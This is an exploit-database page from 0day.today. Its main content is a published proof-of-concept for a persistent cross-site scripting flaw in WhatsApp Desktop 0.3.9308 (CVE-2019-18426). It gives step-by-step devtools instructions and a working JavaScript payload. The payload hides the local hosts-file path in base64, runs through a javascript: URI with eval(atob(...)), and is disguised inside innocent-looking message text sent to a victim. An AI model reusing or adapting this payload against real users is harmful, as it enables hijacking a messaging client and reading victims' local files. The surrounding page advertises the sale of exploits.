0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
WhatsApp Desktop 0.3.9308 - Persistent Cross-Site Scripting Exploit
Author
Risk
[Security Risk High
]0day-ID
Category
Date add
CVE
Platform
# Title: WhatsApp Desktop 0.3.9308 - Persistent Cross-Site Scripting
# Exploit Author: Gal Weizman
# Vendor Homepage: https://www.whatsapp.com
# Software Link: https://web.whatsapp.com/desktop/windows/release/x64/WhatsAppSetup.exe
# Software Link: https://web.whatsapp.com/desktop/mac/files/WhatsApp.dmg
# Version: 0.3.9308
# Tested On: Mac OS, Windows, iPhone
# CVE: https://nvd.nist.gov/vuln/detail/CVE-2019-18426
// step 1: open WhatsApp Web and enter a conversation (Will only work on WhatsApp Web source code as compiled with version 0.3.9308)
// step 2: open devtools and search in all files "t=e.id"
// step 3: after prettifying, set a breakpoint at the line where "t = e.id" can be found
// step 4: paste "https://example.com" in the text box and hit "Enter"
// step 5: when the code stops at the breakpoint, paste the following exploit code in the console and hit "Enter"
var payload = `(async function() {
alert(navigator.userAgent);
(async function() {
// read "file:///C:/windows/system32/drivers/etc/hosts" content
const r = await fetch(atob('ZmlsZTovLy9DOi93aW5kb3dzL3N5c3RlbTMyL2RyaXZlcnMvZXRjL2hvc3Rz'));
const t = await r.text();
alert(t);
}())
}())`;
payload = `javascript:"https://example.com";eval(atob("${btoa(payload)}"))`;
e.__x_matchedText = payload;
e.__x_body = `
Innocent text
${payload}
More Innocent text
`;
// step 6: press F8 in order for the execution to continue
// result: a message should be sent to the victim that once is clicked will execute the payload above
// further information: https://github.com/weizman/CVE-2019-18426
# 0day.today [2024-11-15] #